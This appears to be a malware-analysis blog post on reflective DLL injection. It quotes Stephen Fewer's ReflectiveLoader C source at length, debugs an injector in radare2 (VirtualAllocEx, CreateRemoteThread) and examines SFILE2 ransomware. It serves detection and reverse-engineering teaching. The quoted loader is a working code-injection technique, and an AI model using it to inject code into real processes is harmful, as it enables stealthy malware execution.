// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
This is very easy to detect in static analysis, as to do that the loader will walk through the PEB and hash the entries to check if they correspond to the hash of the ones it is looking for. So those ROR hashes will appear hardcoded as we see here:
A simple copy and paste on google will reveal some info:
After the libraries are resolved, the next thing is to resolve the needed functions. GetProcAddress, VirtualAlloc and LoadLibrary
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
The process here is again, very similar:
A quick look at many github projects reveals the whole list:
Having done that, the loader goes for step 2, using the recently resolved VirtualAlloc to load itself (the whole DLL) in memory on the program:
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
This one is easy to detect as well as a call to VirtualAlloc follows a easily detectable pattern comprised of the 0x40 for RWX and a big chunk for the size to be allocated…
Then step 3 maps the DLL itself section by section:
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
That nested while can be identified as well, though in a less clear way. Here we should pay attention to the mov byte inside a loop.
Then the import table is to be fixed in step 4, to map it to the actual process space.
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
Again this one may be hard to detect statically, we should pay attention to the call var_ch (what’s in there?)
Then the step 5 which to me is less relevant from a reversing point of view.
And finally, this one is important, the call to the entry point as the DLL is now fully mapped:
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
This one is an interesting point to place a breakpoint on, as it opens the gate to whatever will get executed once the reflective dll injection gets executed:
In this case the DLL to be injected in the example by Stephen Fewer is this one here, your usual harmless MessageBox:
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK );
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
Debugging the injector
Let’s now see it from the debugger point of view:
Inside radare2, we can easily see that reflective loader is happening by checking the exports of the evil dll:
PS C:\Users\lab\Desktop > radare2 -AAA .\reflective_dll.dll
[Warning: set your favourite calling convention in `e anal.cc=?`
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Finding function preludes
[x] Enable constraint types analysis for variables
-- We don't make mistakes... just happy little segfaults.
[0x100015c5]> iE
[Exports]
nth paddr vaddr bind type size lib name
------------------------------------------------------------------
1 0x00000460 0x10001060 GLOBAL FUNC 0 reflective_dll.dll _ReflectiveLoader@4
[0x100015c5]>
Then checking the injector, we see that at first the raw bytes of the dll get loaded
| | ||| 0x00f610dc 8d4c2424 lea ecx, [esp + 0x24]
| | ||| 0x00f610e0 51 push ecx
| | ||| 0x00f610e1 57 push edi
| | ||| 0x00f610e2 50 push eax
| | ||| 0x00f610e3 53 push ebx
| | ||| 0x00f610e4 ff152090f600 call dword [sym.imp.KERNEL32.dll_ReadFile] ; 0xf69020 ; "N\xd4"
| | ||| 0x00f610ea b 8b1d4490f600 mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle] ; [0xf69044:4]=0xd46a ; "j\xd4"
[0x00f610e4]> pxr @ rsp
0x001cf9e4 0x000000e4 .... @ rsp 228 rbx
0x001cf9e8 0x0060afc8 ..`. PRIVATE rax
0x001cf9ec 0x0000e600 .... 58880 rdi
0x001cf9f0 0x001cfa18 .... PRIVATE rcx R W 0x0
0x001cf9f4 ..[ null bytes ].. 00000000
[0x00f610e4]> pxw @ 0x0060afc8
0x0060afc8 0x00905a4d 0x00000003 0x00000004 0x0000ffff MZ..............
0x0060afd8 0x000000b8 0x00000000 0x00000040 0x00000000 ........@.......
0x0060afe8 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x0060aff8 0x00000000 0x00000000 0x00000000 0x000000e8 ................
0x0060b008 0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd ........!..L.!Th
0x0060b018 0x70207369 0x72676f72 0x63206d61 0x6f6e6e61 is program canno
0x0060b028 0x65622074 0x6e757220 0x206e6920 0x20534f44 t be run in DOS
0x0060b038 0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000 mode....$.......
0x0060b048 0xa5c59bac 0xf6abfae8 0xf6abfae8 0xf6abfae8 ................
0x0060b058 0xf6643c19 0xf6abfafa 0xf6663c19 0xf6abfae2 .<d......<f.....
0x0060b068 0xf6653c19 0xf6abfabe 0xf6aafae8 0xf6abfaa6 .<e.............
0x0060b078 0xf6128d14 0xf6abfaed 0xf6793d4a 0xf6abfaea ........J=y.....
0x0060b088 0xf6613d4a 0xf6abfae9 0xf6623d4a 0xf6abfae9 J=a.....J=b.....
0x0060b098 0xf6673d4a 0xf6abfae9 0x68636952 0xf6abfae8 J=g.....Rich....
0x0060b0a8 0x00000000 0x00000000 0x00004550 0x0005014c ........PE..L...
0x0060b0b8 0x50c9c763 0x00000000 0x00000000 0x210200e0 c..P...........!
That is interesting, because in here is pretty basic as the DLL is already in disk. But thinking about some DLL that gets downloaded from a C2, this is a moment to dump the DLL to reverse it individually later on.
Then the call to the injector, and the VirtualAllocEX
[0x00f610e4]> dc
hit breakpoint at: 0xf611b2
[0x00f611b2]> pd 10
| ;-- rip:
| 0x00f611b2 b e829020000 call fcn.004013e0
| 0x00f611b7 89442410 mov dword [esp + 0x10], eax
| 0x00f611bb 85c0 test eax, eax
| ,=< 0x00f611bd 751b jne 0xf611da
| | 0x00f611bf ff152490f600 call dword [sym.imp.KERNEL32.dll_GetLastError] ; 0xf69024
| | 0x00f611c5 50 push eax
| | 0x00f611c6 6818cef600 push str.Failed_to_inject_the_DLL ; 0xf6ce18 ; "Failed to inject the DLL"
| | 0x00f611cb 6890cdf600 push str._____s._Error_d ; 0xf6cd90 ; "[-] %s. Error=%d"
| | 0x00f611d0 e81c030000 call fcn.004014f1
| | 0x00f611d5 83c40c add esp, 0xc
| |||| ;-- rip:
| |||| 0x00f61449 b ff153490f600 call dword [sym.imp.KERNEL32.dll_VirtualAllocEx] ; 0xf69034
| |||| 0x00f6144f b 894508 mov dword [ebp + 8], eax
| |||| 0x00f61452 85c0 test eax, eax
[0x00f61449]> dc
hit breakpoint at: 0xf6144f
[0x00f61449]> dr rax
0x00050000
[0x00f61449]> pxw @ 0x00050000
0x00050000 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050010 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050020 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050030 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050040 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050050 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050060 0x00000000 0x00000000 0x00000000 0x00000000 ................
And we note the space allocated for the evil DLL, this is important as we will check that again after the code being injected, and we will place some breakpoints in:
After that, the DLL is written:
[0x00f61449]> dc
hit breakpoint at: 0xf61463
[0x00f61449]> pxw @ 0x00050000
0x00050000 0x00905a4d 0x00000003 0x00000004 0x0000ffff MZ..............
0x00050010 0x000000b8 0x00000000 0x00000040 0x00000000 ........@.......
0x00050020 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050030 0x00000000 0x00000000 0x00000000 0x000000e8 ................
0x00050040 0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd ........!..L.!Th
0x00050050 0x70207369 0x72676f72 0x63206d61 0x6f6e6e61 is program canno
0x00050060 0x65622074 0x6e757220 0x206e6920 0x20534f44 t be run in DOS
0x00050070 0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000 mode....$.......
0x00050080 0xa5c59bac 0xf6abfae8 0xf6abfae8 0xf6abfae8 ................
0x00050090 0xf6643c19 0xf6abfafa 0xf6663c19 0xf6abfae2 .<d......<f.....
And we pass in the execution by a thread:
| |||||| 0x00f61470 51 push ecx
| |||||| 0x00f61471 56 push esi
| |||||| 0x00f61472 56 push esi
| |||||| 0x00f61473 50 push eax
| |||||| 0x00f61474 6800001000 push 0x100000
| |||||| 0x00f61479 56 push esi
| |||||| 0x00f6147a 57 push edi
| |||||| ;-- rip:
| |||||| 0x00f6147b b ff153090f600 call dword [sym.imp.KERNEL32.dll_CreateRemoteThread] ; 0xf69030 ; "P;\x93u\x10]\x93u`_\x93u\xa0]Aw`3\x92u\xe0.\x92u01\x92u\xe0\x1e\x92u\xd0 \x92up\v\x92uPWCw\x90MCw\xf0\xfe@w`\xe7@w\xa0\u07d1u\xe0\xe7\x91u`\xe8\x91u\x10\u07d1u\x10N\x92u@\x16\x92uP\xf5\x91u\x80\u07d1u"
Checking the params passed in the CreateRemoteThread, we see our address space, more precisely, we see the entry point, time to put a breakpoint in there:
[0x00f61449]> pxr @ rsp
0x001cf994 0x000000e8 .... @ rsp 232 rdi
0x001cf998 ..[ null bytes ].. 00000000
0x001cf99c 0x00100000 .... PRIVATE
0x001cf9a0 0x00050460 `... PRIVATE rax R W X 'push ebp' 'PRIVATE '
0x001cf9a4 ..[ null bytes ].. 00000000
0x001cf9ac 0x001cf9c4 .... PRIVATE rcx R W 0x0
And then the execution moves there:
[0x00f61449]> pd 50 @ 0x00050460
;-- rax:
0x00050460 55 push ebp
0x00050461 8bec mov ebp, esp
0x00050463 83ec20 sub esp, 0x20
0x00050466 53 push ebx
0x00050467 56 push esi
0x00050468 57 push edi
0x00050469 33db xor ebx, ebx
0x0005046b 33ff xor edi, edi
0x0005046d c745e8000000. mov dword [ebp - 0x18], 0
0x00050474 897df4 mov dword [ebp - 0xc], edi
0x00050477 895dec mov dword [ebp - 0x14], ebx
0x0005047a 895de4 mov dword [ebp - 0x1c], ebx
0x0005047d e8ceffffff call 0x50450
0x00050482 8bd0 mov edx, eax
And step by step we start seeing those same steps we detected statically:
: || 0x0005054b 8a0a mov cl, byte [edx]
: || 0x0005054d 84c9 test cl, cl
`====< 0x0005054f 75ef jne 0x50540
|| 0x00050551 3d8e4e0eec cmp eax, 0xec0e4e8e
,===< 0x00050556 740e je 0x50566
||| 0x00050558 3daafc0d7c cmp eax, 0x7c0dfcaa
,====< 0x0005055d 7407 je 0x50566
|||| 0x0005055f 3d54caaf91 cmp eax, 0x91afca54
|||| 0x00050564 7545 jne 0x505ab
|||| ; CODE XREF from unk @
|||| ; CODE XREF from unk @
``---> 0x00050566 8b4df0 mov ecx, dword [ebp - 0x10]
|| 0x00050569 0fb711 movzx edx, word [ecx]
|| 0x0005056c 8b4de0 mov ecx, dword [ebp - 0x20]
|| 0x0005056f 8b491c mov ecx, dword [ecx + 0x1c]
The kernel/ntdll parsing:
|| 0x00930551 b 3d8e4e0eec cmp eax, 0xec0e4e8e
,===< 0x00930556 740e je 0x930566
||| 0x00930558 3daafc0d7c cmp eax, 0x7c0dfcaa
[0x00930460]> dc
hit breakpoint at: 0x930551
[0x00930551]> dr rax
0xa77d8d5a
[0x00930551]>
And the api call parsing from their hashes
||| ;-- rip:
|``-> 0x00930566 b 8b4df0 mov ecx, dword [ebp - 0x10]
[0x00930551]> dr eax
0x7c0dfcaa
[0x00930551]> (GETPROCADDRESS)
Then the call to VirtualAlloc
0x0093065c 0f856efeffff jne 0x9304d0
0x00930662 8b55f8 mov edx, dword [ebp - 8]
0x00930665 8b7a3c mov edi, dword [edx + 0x3c]
0x00930668 6a40 push 0x40 ; '@' ; 64
0x0093066a 03fa add edi, edx
0x0093066c 6800300000 push 0x3000
0x00930671 ff7750 push dword [edi + 0x50]
0x00930674 897dec mov dword [ebp - 0x14], edi
0x00930677 6a00 push 0
0x00930679 ffd3 call ebx
That allocates spaces for the same DLL to get mapped on the process:
[0x00930677]> pd 10
0x00930677 b 6a00 push 0
0x00930679 ffd3 call ebx
;-- rip:
0x0093067b b 8b5754 mov edx, dword [edi + 0x54]
0x0093067e 8bf0 mov esi, eax
0x00930680 8b45f8 mov eax, dword [ebp - 8]
0x00930683 8975fc mov dword [ebp - 4], esi
0x00930686 8bc8 mov ecx, eax
0x00930688 85d2 test edx, edx
,=< 0x0093068a 7412 je 0x93069e
| 0x0093068c 2bf0 sub esi, eax
[0x00930677]> dr rax
0x009e0000
[0x00930677]> pxw @ 0x009e0000
0x009e0000 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x009e0010 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x009e0020 0x00000000 0x00000000 0x00000000 0x00000000 ................
Then the loading process:
< 0x009306a8 7436 je 0x9306e0
| 0x009306aa 83c02c add eax, 0x2c ; 44
| 0x009306ad 03f8 add edi, eax
| 0x009306af 8b45f8 mov eax, dword [ebp - 8]
.--> 0x009306b2 8b4ff8 mov ecx, dword [edi - 8]
:| 0x009306b5 8b17 mov edx, dword [edi]
:| 0x009306b7 03ce add ecx, esi
:| 0x009306b9 8b77fc mov esi, dword [edi - 4]
:| 0x009306bc 4b dec ebx
:| 0x009306bd 03d0 add edx, eax
:| 0x009306bf 85f6 test esi, esi
,===< 0x009306c1 7410 je 0x9306d3
.----> 0x009306c3 8a02 mov al, byte [edx]
:|:| 0x009306c5 8801 mov byte [ecx], al
:|:| 0x009306c7 8d4901 lea ecx, [ecx + 1]
:|:| 0x009306ca 8d5201 lea edx, [edx + 1]
:|:| 0x009306cd 4e dec esi
`====< 0x009306ce 75f3 jne 0x9306c3
|:| 0x009306d0 8b45f8 mov eax, dword [ebp - 8]
`---> 0x009306d3 8b75fc mov esi, dword [ebp - 4]
:| 0x009306d6 83c728 add edi, 0x28 ; 40
:| 0x009306d9 85db test ebx, ebx
`==< 0x009306db 75d5 jne 0x9306b2
| 0x009306dd 8b7dec mov edi, dword [ebp - 0x14]
`-> 0x009306e0 8bb780000000 mov esi, dword [edi + 0x80]
0x009306e6 8b55fc mov edx, dword [ebp - 4]
That maps the DLL in the allocated space:
[0x00930677]> dc
hit breakpoint at: 0x9306e0
[0x009306e0]> pxw @ 0x009e0000
0x009e0000 0x00905a4d 0x00000003 0x00000004 0x0000ffff MZ..............
0x009e0010 0x000000b8 0x00000000 0x00000040 0x00000000 ........@.......
0x009e0020 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x009e0030 0x00000000 0x00000000 0x00000000 0x000000e8 ................
0x009e0040 0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd ........!..L.!Th
0x009e0050 0x70207369 0x72676f72 0x63206d61 0x6f6e6e61 is program canno
0x009e0060 0x65622074 0x6e757220 0x206e6920 0x20534f44 t be run in DOS
0x009e0070 0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000 mode....$.......
0x009e0080 0xa5c59bac 0xf6abfae8 0xf6abfae8 0xf6abfae8 ................
0x009e0090 0xf6643c19 0xf6abfafa 0xf6663c19 0xf6abfae2 .<d......<f.....
0x009e00a0 0xf6653c19 0xf6abfabe 0xf6aafae8 0xf6abfaa6 .<e.............
0x009e00b0 0xf6128d14 0xf6abfaed 0xf6793d4a 0xf6abfaea ........J=y.....
0x009e00c0 0xf6613d4a 0xf6abfae9 0xf6623d4a 0xf6abfae9 J=a.....J=b.....
0x009e00d0 0xf6673d4a 0xf6abfae9 0x68636952 0xf6abfae8 J=g.....Rich....
Then the memory address(es) fixing via the relocs along with the rest of the remaining steps:
[0x00930745]> pd 20
:: ;-- rip:
:: 0x00930745 b 8906 mov dword [esi], eax
:: 0x00930747 83c604 add esi, 4
:: 0x0093074a 85ff test edi, edi
,===< 0x0093074c 7403 je 0x930751
|:: 0x0093074e 83c704 add edi, 4
`---> 0x00930751 833e00 cmp dword [esi], 0
`==< 0x00930754 75ba jne 0x930710
: 0x00930756 8b75f0 mov esi, dword [ebp - 0x10]
: 0x00930759 83c614 add esi, 0x14 ; 20
[0x009306e0]> db 0x00930745
[0x009306e0]> dc
(4084) loading library at 0x0000000076680000 (C:\Windows\SysWOW64\user32.dll) user32.dll
(4084) loading library at 0x0000000075990000 (C:\Windows\SysWOW64\win32u.dll) win32u.dll
(4084) loading library at 0x0000000075250000 (C:\Windows\SysWOW64\gdi32.dll) gdi32.dll
(4084) loading library at 0x0000000075C40000 (C:\Windows\SysWOW64\gdi32full.dll) gdi32full.dll
(4084) loading library at 0x0000000076520000 (C:\Windows\SysWOW64\msvcp_win.dll) msvcp_win.dll
(4084) loading library at 0x0000000076B10000 (C:\Windows\SysWOW64\ucrtbase.dll) ucrtbase.dll
(4084) loading library at 0x0000000075D70000 (C:\Windows\SysWOW64\imm32.dll) imm32.dll
hit breakpoint at: 0x930745
And the final call to DLLMAIN:
0x00930824 6a00 push 0
0x00930826 6a00 push 0
0x00930828 6aff push 0xffffffffffffffff
0x0093082a 03f2 add esi, edx
0x0093082c ff55e4 call dword [ebp - 0x1c]
0x0093082f ff7508 push dword [ebp + 8]
0x00930832 6a01 push 1 ; 1
0x00930834 ff75fc push dword [ebp - 4]
0x00930837 ffd6 call esi
0x00930839 5f pop edi
0x0093083a 8bc6 mov eax, esi
And evil code execution yay!
[0x009e15c5]> pd 150
;-- rsi:
;-- rip:
0x009e15c5 55 push ebp
0x009e15c6 8bec mov ebp, esp
0x009e15c8 837d0c01 cmp dword [ebp + 0xc], 1
,=< 0x009e15cc 7505 jne 0x9e15d3
| 0x009e15ce e876110000 call 0x9e2749
`-> 0x009e15d3 ff7510 push dword [ebp + 0x10]
0x009e15d6 ff750c push dword [ebp + 0xc]
0x009e15d9 ff7508 push dword [ebp + 8]
0x009e15dc e807000000 call 0x9e15e8
Reflective DLL usage in SFILE2 Ransomware
Moving forward to a real case, Vitali Kremez presented the SFILE2 Ransomware as using a ReflectiveLoader.
If we load the program to analyze it statically we start seeinga bunch of suspicious imports:
Then we can also see the program extensivelly accessing resources on the filesystem:
Along with clear references to “encryption”:
And even a public key:
It is very clear that we are dealing with a pretty basic ransomware.
By checking its exports, we see a reference to “reflectiveloader”, let’s dig in:
So we start by seeing how it checks for a valid executable:
And then we can also, very clearly, identify hash references to those needed libraries:
Along with the needed combo of api calls:
And a very clear reference to VirtualAlloc:
The memory copying of the DLL to be reclectivelly loaded:
Those relocs:
And there we find the call to the DLLmain:
So that is more or less the way we would proceed to confirm a case of reflective dll loading. This one was easy as we found a clear reference to “reflectiveloader”, also the ransomware itself is pretty basic. In this particular case it is probable for the ransomware to be downloaded as a service from a C2, so the dropper/downloader or main infection will load it using the reflectiveloader, for example.
That was all for today, stay in touch as in the following series we’ll dive into more advanced and actual techniques. Step by step.
Bonus track: Basic dll hijacking
If you dive a little bit more into how the DLL loading process works you may find easier and funnier ways to inject code